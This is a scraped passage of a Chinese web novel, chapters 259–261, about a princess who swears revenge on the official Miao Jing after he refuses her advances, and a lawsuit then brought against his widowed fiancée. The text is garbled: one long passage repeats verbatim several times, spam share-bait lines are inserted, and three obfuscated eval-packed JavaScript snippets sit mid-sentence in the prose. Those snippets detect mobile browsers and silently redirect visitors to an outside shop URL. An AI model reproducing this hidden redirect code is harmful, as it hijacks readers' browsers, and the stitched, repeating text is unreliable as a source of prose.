她气急,忍不住扶着门框站了起来,“苗菁,你该不会以为,皇兄器重你,能连这点小事都驳了本宫的面子,纵着你不敬我这个长公主吧?” 与他无关,只那握着缰绳的手,指节微微有些发白。 好在公主府距离此处确实不远,穿过两条长街,便到了那朱门高墙前。 车驾停在门外,苗菁也随之勒马。他再次下马,对着车厢方向拱手道:“殿下,公主府已到,臣……” “送佛送到西,既到了门口,便往里送送吧。”车帘未动,长公主的声音再次传出,打断了他的告辞,带着一种漫不经心,却又不容拒绝的意味,“本宫还有几句话,要同苗大人说。” 苗菁眉头几不可察地又蹙了一下,只得应道:“是。” 安车并未在正门久留,而是直接驶入了洞开的府门,穿过前庭,一直行至内院与外院交接的仪门处,方才停下。这里是内外之隔,寻常外男止步于此。 车停稳,随行的侍卫、车夫乃至侍女,都仿佛接到了无声的指令,迅速地、悄无声息地向四周退去,转眼间,仪门前便只剩下了这辆华贵的安车,以及孤身立在车旁的苗菁。 暮色更深,廊下的灯笼尚未全部点燃,此处显得格外幽静,甚至有些空旷得过分。 车帘终于被彻底掀开,长公主探身出来。她今日穿着杏子黄的宫装,外罩月白披风,发髻高绾,露出光洁的额头和优美的颈项。她仍坐着,目光落在几步外的苗菁身上,唇角勾起一抹意味不明的笑。 “过来。”她朝苗菁勾了勾手指,语气是命令式的。 苗菁忍着心中不耐,上前两步,在距离车辕尚有数尺处停下,垂首:“殿下有何吩咐?” 长公主看着他这副恭敬却疏离的模样,眼底掠过一丝不悦,随即又化为某种更复杂的情绪。她微微抬起下巴,声音压低了些,带着一丝虚弱与理所当然:“方才躲避袭击时,本宫不慎扭伤了脚踝,此刻疼痛难忍,不良于行。苗大人,劳烦你……抱本宫入内。” 苗菁心头猛地一沉,几乎没有任何犹豫,立刻后退半步,斩钉截铁地拒绝:“殿下!此举不可!男女授受不亲,何况殿下万金之躯,臣岂敢僭越冒犯?还请殿下唤侍女前来搀扶,或容臣去唤软轿。” 长公主轻笑出声,环视了一圈空无一人的四周,目光又落回苗菁紧绷的脸上,语气带着几分嘲弄,几分诱惑,“苗大人也看见了,这里……哪还有什么‘外人’?谁会知道?你放心,我这公主府的消息,若是本宫不想,便一个字也传不到外头去。” 她斜睨了苗菁一眼,挑眉道:“还是说……苗大人不肯?” 仪门前,晚风穿过廊柱,带来一丝凉意。两人一个挺拔僵立,一个坐在车内,姿态从容,却形成无声的对峙。四周静得可怕,只有远处隐约传来的市井声,愈发衬得此处气氛凝滞而微妙。苗菁垂在身侧的手,悄然握成了拳。 苗菁下颌的线条绷得极紧,克制着翻涌的情绪,声音低沉而清晰:“殿下乃大兖皇族金枝玉叶,应恪守礼法,为天下女子表率。臣,不敢僭越。殿下既玉体不适,臣这便去唤府中嬷嬷或侍女前来搀扶。” “站住!”长公主的声音陡然拔高,带着不怒意和羞恼,“本宫偏要让你抱!” 她气急,忍不住扶着门框站了起来,“苗菁,你该不会以为,皇兄器重你,能连这点小事都驳了本宫的面子,纵着你不敬我这个长公主吧?” 与他无关,只那握着缰绳的手,指节微微有些发白。 好在公主府距离此处确实不远,穿过两条长街,便到了那朱门高墙前。 车驾停在门外,苗菁也随之勒马。他再次下马,对着车厢方向拱手道:“殿下,公主府已到,臣……” “送佛送到西,既到了门口,便往里送送吧。”车帘未动,长公主的声音再次传出,打断了他的告辞,带着一种漫不经心,却又不容拒绝的意味,“本宫还有几句话,要同苗大人说。” 苗菁眉头几不可察地又蹙了一下,只得应道:“是。” 安车并未在正门久留,而是直接驶入了洞开的府门,穿过前庭,一直行至内院与外院交接的仪门处,方才停下。这里是内外之隔,寻常外男止步于此。 车停稳,随行的侍卫、车夫乃至侍女,都仿佛接到了无声的指令,迅速地、悄无声息地向四周退去,转眼间,仪门前便只剩下了这辆华贵的安车,以及孤身立在车旁的苗菁。 暮色更深,廊下的灯笼尚未全部点燃,此处显得格外幽静,甚至有些空旷得过分。 车帘终于被彻底掀开,长公主探身出来。她今日穿着杏子黄的宫装,外罩月白披风,发髻高绾,露出光洁的额头和优美的颈项。她仍坐着,目光落在几步外的苗菁身上,唇角勾起一抹意味不明的笑。 “过来。”她朝苗菁勾了勾手指,语气是命令式的。 苗菁忍着心中不耐,上前两步,在距离车辕尚有数尺处停下,垂首:“殿下有何吩咐?” 长公主看着他这副恭敬却疏离的模样,眼底掠过一丝不悦,随即又化为某种更复杂的情绪。她微微抬起下巴,声音压低了些,带着一丝虚弱与理所当然:“方才躲避袭击时,本宫不慎扭伤了脚踝,此刻疼痛难忍,不良于行。苗大人,劳烦你……抱本宫入内。” 苗菁心头猛地一沉,几乎没有任何犹豫,立刻后退半步,斩钉截铁地拒绝:“殿下!此举不可!男女授受不亲,何况殿下万金之躯,臣岂敢僭越冒犯?还请殿下唤侍女前来搀扶,或容臣去唤软轿。” 长公主轻笑出声,环视了一圈空无一人的四周,目光又落回苗菁紧绷的脸上,语气带着几分嘲弄,几分诱惑,“苗大人也看见了,这里……哪还有什么‘外人’?谁会知道?你放心,我这公主府的消息,若是本宫不想,便一个字也传不到外头去。” 她斜睨了苗菁一眼,挑眉道:“还是说……苗大人不肯?” 仪门前,晚风穿过廊柱,带来一丝凉意。两人一个挺拔僵立,一个坐在车内,姿态从容,却形成无声的对峙。四周静得可怕,只有远处隐约传来的市井声,愈发衬得此处气氛凝滞而微妙。苗菁垂在身侧的手,悄然握成了拳。 苗菁下颌的线条绷得极紧,克制着翻涌的情绪,声音低沉而清晰:“殿下乃大兖皇族金枝玉叶,应恪守礼法,为天下女子表率。臣,不敢僭越。殿下既玉体不适,臣这便去唤府中嬷嬷或侍女前来搀扶。” “站住!”长公主的声音陡然拔高,带着不怒意和羞恼,“本宫偏要让你抱!” 她气急,忍不住扶着门框站了起来,“苗菁,你该不会以为,皇兄器重你,能连这点小事都驳了本宫的面子,纵着你不敬我这个长公主吧?” 与他无关,只那握着缰绳的手,指节微微有些发白。 好在公主府距离此处确实不远,穿过两条长街,便到了那朱门高墙前。 车驾停在门外,苗菁也随之勒马。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198892|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他再次下马,对着车厢方向拱手道:“殿下,公主府已到,臣……” “送佛送到西,既到了门口,便往里送送吧。”车帘未动,长公主的声音再次传出,打断了他的告辞,带着一种漫不经心,却又不容拒绝的意味,“本宫还有几句话,要同苗大人说。” 苗菁眉头几不可察地又蹙了一下,只得应道:“是。” 安车并未在正门久留,而是直接驶入了洞开的府门,穿过前庭,一直行至内院与外院交接的仪门处,方才停下。这里是内外之隔,寻常外男止步于此。 车停稳,随行的侍卫、车夫乃至侍女,都仿佛接到了无声的指令,迅速地、悄无声息地向四周退去,转眼间,仪门前便只剩下了这辆华贵的安车,以及孤身立在车旁的苗菁。 暮色更深,廊下的灯笼尚未全部点燃,此处显得格外幽静,甚至有些空旷得过分。 车帘终于被彻底掀开,长公主探身出来。她今日穿着杏子黄的宫装,外罩月白披风,发髻高绾,露出光洁的额头和优美的颈项。她仍坐着,目光落在几步外的苗菁身上,唇角勾起一抹意味不明的笑。 “过来。”她朝苗菁勾了勾手指,语气是命令式的。 苗菁忍着心中不耐,上前两步,在距离车辕尚有数尺处停下,垂首:“殿下有何吩咐?” 长公主看着他这副恭敬却疏离的模样,眼底掠过一丝不悦,随即又化为某种更复杂的情绪。她微微抬起下巴,声音压低了些,带着一丝虚弱与理所当然:“方才躲避袭击时,本宫不慎扭伤了脚踝,此刻疼痛难忍,不良于行。苗大人,劳烦你……抱本宫入内。” 苗菁心头猛地一沉,几乎没有任何犹豫,立刻后退半步,斩钉截铁地拒绝:“殿下!此举不可!男女授受不亲,何况殿下万金之躯,臣岂敢僭越冒犯?还请殿下唤侍女前来搀扶,或容臣去唤软轿。” 长公主轻笑出声,环视了一圈空无一人的四周,目光又落回苗菁紧绷的脸上,语气带着几分嘲弄,几分诱惑,“苗大人也看见了,这里……哪还有什么‘外人’?谁会知道?你放心,我这公主府的消息,若是本宫不想,便一个字也传不到外头去。” 她斜睨了苗菁一眼,挑眉道:“还是说……苗大人不肯?” 仪门前,晚风穿过廊柱,带来一丝凉意。两人一个挺拔僵立,一个坐在车内,姿态从容,却形成无声的对峙。四周静得可怕,只有远处隐约传来的市井声,愈发衬得此处气氛凝滞而微妙。苗菁垂在身侧的手,悄然握成了拳。 苗菁下颌的线条绷得极紧,克制着翻涌的情绪,声音低沉而清晰:“殿下乃大兖皇族金枝玉叶,应恪守礼法,为天下女子表率。臣,不敢僭越。殿下既玉体不适,臣这便去唤府中嬷嬷或侍女前来搀扶。” “站住!”长公主的声音陡然拔高,带着不怒意和羞恼,“本宫偏要让你抱!” 她气急,忍不住扶着门框站了起来,“苗菁,你该不会以为,皇兄器重你,能连这点小事都驳了本宫的面子,纵着你不敬我这个长公主吧?” 与他无关,只那握着缰绳的手,指节微微有些发白。 好在公主府距离此处确实不远,穿过两条长街,便到了那朱门高墙前。 车驾停在门外,苗菁也随之勒马。他再次下马,对着车厢方向拱手道:“殿下,公主府已到,臣……” “送佛送到西,既到了门口,便往里送送吧。”车帘未动,长公主的声音再次传出,打断了他的告辞,带着一种漫不经心,却又不容拒绝的意味,“本宫还有几句话,要同苗大人说。” 苗菁眉头几不可察地又蹙了一下,只得应道:“是。” 安车并未在正门久留,而是直接驶入了洞开的府门,穿过前庭,一直行至内院与外院交接的仪门处,方才停下。这里是内外之隔,寻常外男止步于此。 车停稳,随行的侍卫、车夫乃至侍女,都仿佛接到了无声的指令,迅速地、悄无声息地向四周退去,转眼间,仪门前便只剩下了这辆华贵的安车,以及孤身立在车旁的苗菁。 暮色更深,廊下的灯笼尚未全部点燃,此处显得格外幽静,甚至有些空旷得过分。 车帘终于被彻底掀开,长公主探身出来。她今日穿着杏子黄的宫装,外罩月白披风,发髻高绾,露出光洁的额头和优美的颈项。她仍坐着,目光落在几步外的苗菁身上,唇角勾起一抹意味不明的笑。 “过来。”她朝苗菁勾了勾手指,语气是命令式的。 苗菁忍着心中不耐,上前两步,在距离车辕尚有数尺处停下,垂首:“殿下有何吩咐?” 长公主看着他这副恭敬却疏离的模样,眼底掠过一丝不悦,随即又化为某种更复杂的情绪。她微微抬起下巴,声音压低了些,带着一丝虚弱与理所当然:“方才躲避袭击时,本宫不慎扭伤了脚踝,此刻疼痛难忍,不良于行。苗大人,劳烦你……抱本宫入内。” 苗菁心头猛地一沉,几乎没有任何犹豫,立刻后退半步,斩钉截铁地拒绝:“殿下!此举不可!男女授受不亲,何况殿下万金之躯,臣岂敢僭越冒犯?还请殿下唤侍女前来搀扶,或容臣去唤软轿。” 长公主轻笑出声,环视了一圈空无一人的四周,目光又落回苗菁紧绷的脸上,语气带着几分嘲弄,几分诱惑,“苗大人也看见了,这里……哪还有什么‘外人’?谁会知道?你放心,我这公主府的消息,若是本宫不想,便一个字也传不到外头去。” 她斜睨了苗菁一眼,挑眉道:“还是说……苗大人不肯?” 仪门前,晚风穿过廊柱,带来一丝凉意。两人一个挺拔僵立,一个坐在车内,姿态从容,却形成无声的对峙。四周静得可怕,只有远处隐约传来的市井声,愈发衬得此处气氛凝滞而微妙。苗菁垂在身侧的手,悄然握成了拳。 苗菁下颌的线条绷得极紧,克制着翻涌的情绪,声音低沉而清晰:“殿下乃大兖皇族金枝玉叶,应恪守礼法,为天下女子表率。臣,不敢僭越。殿下既玉体不适,臣这便去唤府中嬷嬷或侍女前来搀扶。” “站住!”长公主的声音陡然拔高,带着不怒意和羞恼,“本宫偏要让你抱!” 她气急,忍不住扶着门框站了起来,“苗菁,你该不会以为,皇兄器重你,能连这点小事都驳了本宫的面子,纵着你不敬我这个长公主吧?” 与他无关,只那握着缰绳的手,指节微微有些发白。 好在公主府距离此处确实不远,穿过两条长街,便到了那朱门高墙前。 车驾停在门外,苗菁也随之勒马。他再次下马,对着车厢方向拱手道:“殿下,公主府已到,臣……” “送佛送到西,既到了门口,便往里送送吧。”车帘未动,长公主的声音再次传出,打断了他的告辞,带着一种漫不经心,却又不容拒绝的意味,“本宫还有几句话,要同苗大人说。” 苗菁眉头几不可察地又蹙了一下,只得应道:“是。” 安车并未在正门久留,而是直接驶入了洞开的府门,穿过前庭,一直行至内院与外院交接的仪门处,方才停下。这里是内外之隔,寻常外男止步于此。 车停稳,随行的侍卫、车夫乃至侍女,都仿佛接到了无声的指令,迅速地、悄无声息地向四周退去,转眼间,仪门前便只剩下了这辆华贵的安车,以及孤身立在车旁的苗菁。 暮色更深,廊下的灯笼尚未全部点燃,此处显得格外幽静,甚至有些空旷得过分。 车帘终于被彻底掀开,长公主探身出来。她今日穿着杏子黄的宫装,外罩月白披风,发髻高绾,露出光洁的额头和优美的颈项。她仍坐着,目光落在几步外的苗菁身上,唇角勾起一抹意味不明的笑。 “过来。”她朝苗菁勾了勾手指,语气是命令式的。 苗菁忍着心中不耐,上前两步,在距离车辕尚有数尺处停下,垂首:“殿下有何吩咐?” 长公主看着他这副恭敬却疏离的模样,眼底掠过一丝不悦,随即又化为某种更复杂的情绪。她微微抬起下巴,声音压低了些,带着一丝虚弱与理所当然:“方才躲避袭击时,本宫不慎扭伤了脚踝,此刻疼痛难忍,不良于行。苗大人,劳烦你……抱本宫入内。” 苗菁心头猛地一沉,几乎没有任何犹豫,立刻后退半步,斩钉截铁地拒绝:“殿下!此举不可!男女授受不亲,何况殿下万金之躯,臣岂敢僭越冒犯?还请殿下唤侍女前来搀扶,或容臣去唤软轿。” 长公主轻笑出声,环视了一圈空无一人的四周,目光又落回苗菁紧绷的脸上,语气带着几分嘲弄,几分诱惑,“苗大人也看见了,这里……哪还有什么‘外人’?谁会知道?你放心,我这公主府的消息,若是本宫不想,便一个字也传不到外头去。” 她斜睨了苗菁一眼,挑眉道:“还是说……苗大人不肯?” 仪门前,晚风穿过廊柱,带来一丝凉意。两人一个挺拔僵立,一个坐在车内,姿态从容,却形成无声的对峙。四周静得可怕,只有远处隐约传来的市井声,愈发衬得此处气氛凝滞而微妙。苗菁垂在身侧的手,悄然握成了拳。 苗菁下颌的线条绷得极紧,克制着翻涌的情绪,声音低沉而清晰:“殿下乃大兖皇族金枝玉叶,应恪守礼法,为天下女子表率。臣,不敢僭越。殿下既玉体不适,臣这便去唤府中嬷嬷或侍女前来搀扶。” “站住!”长公主的声音陡然拔高,带着不怒意和羞恼,“本宫偏要让你抱!” 她气急,忍不住扶着门框站了起来,“苗菁,你该不会以为,皇兄器重你,能连这点小事都驳了本宫的面子,纵着你不敬我这个长公主吧?” 第259章 走着瞧 长公主微微抬起下巴,语气里满是理所当然的骄矜与施舍般的意味:“本宫让你抱,是看得起你。过来……别让本宫再说第三遍。 苗菁的身形纹丝未动,如同钉在了原地,只留给长公主一个沉默抗拒的侧影。 长公主脸上的笑容彻底消失了,阴沉得几乎能滴下水来。心中的怒气如同被风鼓动的野火,越烧越旺。 一个毫无根基、靠着皇帝赏识才爬上来的穷小子,他到底在傲什么?凭什么敢用这种态度对待她?竟敢如此明目张胆地瞧不起她这堂堂大兖朝的长公主! 这已经不是第一次了。之前她数次明里暗里地示意,他要么装傻充愣,要么像现在这样冷硬拒绝。她姜禔何曾受过这等委屈?尤其是在男女之事上,除了当年那个油盐不进的曲不平,可曲不平也付出了代价…… 长公主想起之前皇兄说过苗菁要他赐婚的事情,心中更是气恼。这个苗菁,为了一个寡妇,竟敢几次三番驳了她的面子。 她这个金尊玉贵的长公主,竟比不上一个上不得台面的孤女加寡妇。 这简直是对她莫大的羞辱! 长公主脸上神色变幻,苗菁依旧稳稳地站着,对她的怒视恍若未觉,只再次冷声开口:“臣不能亵渎公主清誉。不过,公主既然凤体受伤,行动不便,臣可以即刻代您前往太医院,请当值的太医前来诊治。公主府内应有良药,或可先做处理。 说罢,他再次躬身行了一礼,然后不等长公主做出任何反应,便毫不犹豫地转身,朝着来时的大门方向,大步流星地走去。 “站住!本宫让你站住! 然而,苗菁仿佛什么都没听见,脚步反而更快了几分,转眼便消失在了仪门外影壁的拐角处。 “放肆!混账东西!长公主气得浑身发抖,攥紧的拳头狠狠捶在了车门框上,发出“砰的一声闷响。 “嘶——手上传来的疼痛让她倒吸一口冷气,下意识地揉着瞬间泛红的手骨,心头那股邪火却烧得更旺。她咬牙切齿地望着苗菁消失的方向,美目中几乎要喷出火来。 好啊,好一个痴情种!好一个不知好歹的苗菁! 这么多年了,在男女之事上,除了曲不平那个孽障让她挫败过,她姜禔何曾失手过?那些王孙公子、才俊名士,哪个不是对她趋之若鹜?即便有拿乔的,最终也多半逃不出她的手掌心。 曲不平一个就够了。她绝不允许,也绝不会容忍,出现第二个“曲 听说看这本书的人都是很幸运的,分享后你的运气会更棒 不平”! 苗菁,你不是痴恋那个姓郭的寡妇,把她当成心头肉、命根子吗?你不是为了她,连本宫都敢不放在眼里吗? 长公主缓缓松开揉着的手,艳丽的脸庞上,怒意渐渐被一种混合着嫉恨与狠厉的冰冷所取代,唇角甚至勾起了一抹令人心悸的弧度。 “哼……痴恋寡妇?本宫倒要看看,你这‘痴情’,能护她到几时。”她低低地、一字一句地自语,声音轻得像羽毛,却带着砭骨的寒意,“咱们……走着瞧。” 苗菁出了公主府,并未立刻回家,而是一路快马加鞭,直奔太医院。他找到今日当值的院判,言简意赅地说明了长公主自称脚踝扭伤之事,请其立刻携带药箱前往公主府看诊。院判听闻是长公主凤体有恙,自然不敢怠慢,连连应下。 看着院判带着人匆匆离去,苗菁这才微微吐出一口胸中郁气,翻身上马,朝着家的方向疾驰而去。夜色已浓,万家灯火在他身后连成一片朦胧的光带。 赶到家时,院门虚掩,透出温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204856|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖的橘黄色灯光。他推门进去,正在院中收拾花木的荷花闻声抬头,笑着唤了声:“大人回来了!” 堂屋门帘一掀,郭晓芸迎了出来:“怎么今日回来得这么晚?可是衙门里有急事?”她说着,很自然地伸手接过他刚脱下外衫,转身挂到了衣架上。 苗菁看着她忙碌的背影,紧绷了一路的心神终于彻底松弛下来,面上早已恢复了惯常的沉稳平静,只眼底深处掠过一丝阴霾。 他声音放得很轻,解释道:“嗯,是有些公务临时处理,耽误了时辰。让你久等了。” “我就猜到了。”郭晓芸不疑有他,转身走向厨房,语气轻快,“那肯定早就饿了吧?话梅排骨给你温在灶上呢,还有你爱吃的清炒笋尖和豆腐羹,快来吃饭。” 饭桌上,都是他喜欢的口味。两人相对而坐,郭晓芸先给他夹了一块炖得酥烂入味的排骨,苗菁则舀了一勺嫩滑的豆腐羹放到她碗里。没有多余的话语,只有筷子轻碰碗碟的细微声响,和偶尔相视时心照不宣的浅笑。 饭后,荷花手脚麻利地带着小丫头收拾了碗筷。郭晓芸则从捧出一件新做的靛青色春衫,展开给苗菁看:“前日刚赶出来的,你快试试合不合身。” 苗菁顺从地换上。郭晓芸的手艺极好,针脚细密,剪裁合体,靛青的颜色衬得他愈发身姿挺拔,冷峻的面容也柔和了几分。 郭晓芸绕到他身前,细心地为他整理衣襟,系好同色的布质衣带,她正要退后两步,仔细端详整体效果,腰身却忽然被一双有力的手臂圈住,整个人被带进了一个坚实温暖的怀抱里。 “好慢啊……”苗菁低下头,将下巴轻轻搁在她纤瘦的肩上,温热的气息拂过她的耳廓,声音闷闷的,带着显而易见的抱怨,还有一丝渴望,“还有整整半个月,你才出孝期……” 第260章 软肋 郭晓芸身体微微僵了一下,随即放松下来,依偎在他怀里,感受着他沉稳有力的心跳,脸颊有些发热。她抬起手,轻轻拍了拍他环在自己腰间的手背,声音柔得像春水:“快了,就快了。” “等不及了,”苗菁收紧手臂,将她抱得更紧了些,几乎是贴着她耳边低语,带着灼人的热度,“真想今晚就把你娶回家,让你名正言顺地做我的娘子……” 郭晓芸浑身一颤,咬住了下唇,声音细若蚊蚋,带着羞窘和不安:“那样……不、不合礼法……我还在孝中……” 苗菁闻言先是一愣,随即明白她是误会了自己的意思,忍不住低低地笑出声来,胸腔的震动传递到郭晓芸身上。 他松开她一些,伸手轻轻点了点她涨红的鼻尖,眼中满是促狭的笑意:“小脑袋瓜里想什么呢?我说的‘娶’,是三媒六聘、八抬大轿,把你堂堂正正娶进门的真娶,不是要……咳,不是你想的那种。” 郭晓芸这才知道自己会错了意,顿时大囧,脸上红晕更甚,仿佛要烧起来。她又羞又恼,推开苗菁,转身头也不回地跑出了堂屋,躲进了厢房里,还“砰”地一声关上了门。 苗菁站在原地,看着那扇紧闭的房门,想着她方才羞窘万分的可爱模样,忍不住又低笑起来,眼中满是宠溺。然而,这笑意并未持续太久,渐渐地从他脸上褪去,取而代之的是一层淡淡的、挥之不去的忧虑。 他想起了那个因得罪长公主而凄惨收场的乐师曲不平。那般惊才绝艳的人物,只因不肯屈从,最后落得手筋被挑断,一生挚爱的乐器再无法触碰,只能黯然远走苦寒边关,了此残生。 苗菁并不惧怕长公主会如何报复自己,他是皇帝一手提拔起来的心腹,身负要职,长公主即便再骄横跋扈,总要顾及皇兄的颜面和朝堂的法度,不敢真对他下死手。 苗菁孑然一身,在京城无甚亲族牵绊,唯一的软肋便是晓芸。 他怕,怕长公主会将矛头对准毫无自保能力的晓芸。那些阴私龌龊的手段,防不胜防。晓芸性子纯善,身世又坎坷,如何再经得起风雨? 这担忧像一根细刺,扎在他心头。他真希望时间能过得快一些,再快一些,让他早日将晓芸迎娶进门,名分既定,再多派可靠的人手保护,或许才能多一分安稳。只盼这期间,千万不要出什么波折才好。 这一夜,苗菁睡得并不安稳。 第二日一早,苗菁起身穿戴整齐,准备入宫当值。出门前,他特意叮嘱郭晓芸:“晓芸,这些日子若无必要,尽量不要外出。若实在 你的朋友正在书荒,快去帮帮他吧 要出门,定要多带几个家丁,早些回来。” 郭晓芸有些疑惑地看着他:“怎么了?可是外头……不太平?”她眼中流露出关切。 苗菁不想她担心,便寻了个最合情合理、也最能让她安心的理由。他微微倾身,压低了声音,故作神秘又带着几分喜悦地说道:“是我昨日得了皇上的口谕,随时会下旨为我们赐婚。圣旨说不定何时就会下来,你得在家好好准备准备,等着接旨,若是传旨的公公来了,家里没人,那可就太失礼了。” 郭晓芸先是一愣,随即明白过来,脸上瞬间飞起两朵红云,眼中漾开惊喜羞涩的光芒。她低下头,轻轻“嗯”了一声,声音里满是甜意:“我晓得了,我……我就在家,哪儿也不去,等你回来。” 看着她含羞带怯、满怀期待的模样,苗菁心中稍安,却又添了几分沉重。他抬手,想如往常般揉揉她的后脑勺,温声道:“我去了,在家好好的。” 此后七八日,一直风平浪静。苗菁每日当值、归家,两点一线,除了宫中和家里,几乎不去别处。郭晓芸也谨记他的叮嘱,安心在府中操持家务,做些针线,连大门都未曾迈出过一步。 见长公主那边毫无动静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204857|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苗菁紧绷的心弦总算稍稍放松,暗忖或许是自己多虑了,长公主虽骄纵,大约也知轻重,不敢真为这点上不得台面的事闹得太过。 这日早朝,兵部侍郎出列,手持奏本,面色凝重地禀奏:“启奏陛下,康王旧封地传来急报,当地疏浚河道时,于河床淤泥中挖出一块白色异石,石上……石上以朱砂镌刻有悖逆狂言,煽动民心,诋毁朝廷。当地官员不敢擅专,已封存此石,加急呈报。臣等细查,康王及其主要余党伏诛已久,此时忽现此石,恐有漏网之鱼或心怀叵测之徒借机生事,惑乱地方。恳请陛下圣裁,派人彻查,以安民心。” 此言一出,殿中众臣皆是一凛。康王之事才过去不久,余波未平,此时又出“妖石”,绝非吉兆。 姜玄端坐御座之上,闻言亦蹙紧了眉头。康王谋逆案是他登基后处置的第一桩大案,牵连甚广,清洗得也颇为彻底。如今竟又冒出这等事端,是有人贼心不死,蓄意报复,还是另有一股隐藏更深的势力在蠢蠢欲动?无论是哪一种,都必须立刻查清,防微杜渐。 他目光扫过阶下众臣,沉吟片刻,落在了神色沉静的苗菁身上。 “苗菁。”姜玄沉声开口。 “臣在。”苗菁立刻出列,单膝跪地。 “青州‘妖石’案,事关地方安宁,朝廷威信。朕命你为钦差,即刻前往青州,查明此事来历,追查背后主使及传播之人,务必将此事查个水落石出,消弭隐患。” “臣遵旨!定不负陛下所托!”苗菁肃然领命,声音铿锵有力。 下朝后,苗菁不敢耽搁,匆匆回府收拾行装。青州距京城不算太远,但调查此类案件,需走访、勘验、审讯,并非三五日可毕。 他估算着,一来一回,加上查案时间,大概需要大半个月。也好,等他办妥这趟差使回来,正好可以借着立功的机会,郑重向皇上提请赐婚之事。晓芸的孝期也早结束了,正是时候。 第261章 官司 临行前,苗菁握住郭晓芸微凉的手,目光深深看进她眼里,满是不舍,他叮嘱道:“晓芸,我奉旨出京公干,快则半月,慢则二十日左右。这期间,你务必留在府中,一步也不要外出。” 他顿了顿,语气更重了些:“府里有护卫,只要你不出去,没人能伤害你。若是有什么事,你不要理会,一概让秦忠去应付。府里一应吃用,我都会安排妥当。若万一有紧急的事情,你让秦忠往元宝胡同张公公那里递个信儿,他会帮忙的。” 郭晓芸见他说得郑重,心中猛地一沉,试探着问道:“怎么了?是出了什么事吗?” 苗菁道:“没事,只是我是做什么的,你是知道的,我怕有人不敢报复我,却来欺负你。你听我的,安心留在家里就行。” 郭晓芸压下满腹的担忧和想问的话,知道此刻自己不能再给他添一丝一毫的牵挂。她努力让自己的声音听起来平稳:“你放心去办差,公事要紧。我哪里也不去,就守在家里,等你回来。” 她抬眼看着他,眼圈微微有些红,“你一路小心,凡事……多留个心眼,早些回来。” 看着她乖巧应承的模样,苗菁心中稍定。他想,府邸有高墙,有自己精心挑选的护卫,晓芸足不出户,想来那长公主即便心中嫉恨,总不至于公然带人硬闯他的宅邸抓人。 只要熬过这二十天,等他办完差事回来,第一时间就去向皇上求赐婚的恩典。圣旨一下,名分既定,长公主再想兴风作浪,也难了。 苗菁走后,郭晓芸果然听话。每日的活动范围,仅限于后院那片小小的天地,或做针线,或侍弄花草,一心等着苗菁回来。 然而,该来的风雨,终究没能躲过,且来得十分迅猛刁钻。 这日午后,郭晓芸绣完一只香囊,揉了揉有些发酸的脖颈,正准备放下针线歇息片刻,忽听得前院方向传来一阵不同寻常的声响,她隐隐有些不安。 郭晓芸正要唤荷花出去看看,却见管家秦忠不复平日的沉稳,跑着冲进了后院。 “奶奶,不好了!”秦忠气息有些不稳,“顺天府来了几个衙役,已经到了大门口,说是有人把您给告了,奉了府尹大人的票,要请您立刻去衙门问话!张昶奉了大人的命要护卫您的安全,不肯让您出去,刚才在门口对峙起来。” 郭晓芸只觉得脑袋“嗡”的一声,颤声问道:“告我?告我什么?是谁告的?” 她自问从未与人交恶,到底什么人会告她呢?莫非是徐家又出来作怪?上次苗菁把他们吓回去了,他们应该不敢 再来了吧。 秦忠压低了声音急道:“衙役说是有人告您孝期内与外男同居一院,有伤风化,还有隐匿夫家财产、不事姑舅、祭祀不恭,林林总总好几条大罪!我见势不妙,赶紧塞了银子给那领头的班头,请他指点一二。他才悄悄透了底——是您原先的夫家,不知怎么跑到了顺天府,击鼓鸣冤告状!” 徐家!果然是他们!郭晓芸心头一片冰凉,那点残存的侥幸也彻底粉碎。 秦忠接着说道,语气充满了愤怒与无奈:“据班头说,顺天府的陈通判一听事涉咱们大人,本也是想周全,打算先将徐家人安抚住,找个由头羁押在衙门里,等大人回京或是想法子寻大人问明情况后再行处置。谁知那徐家人就在公堂之上哭天抢地,直喊‘官官相护,小民无处伸冤’……偏就在这个时候,来顺天府调阅旧卷的都察院邹御史邹大人,路过公堂,撞了个正着!” 邹御史!郭晓芸虽是个内宅妇人,也听说过这位邹正清邹御史的“威名”——那是出了名的铁面无私,油盐不进,连皇亲国戚的脸面都敢驳,尤以“为民**”、**权贵“不法”而声名鹊起,在百姓中声望极高,在官场却是人人避之不及。 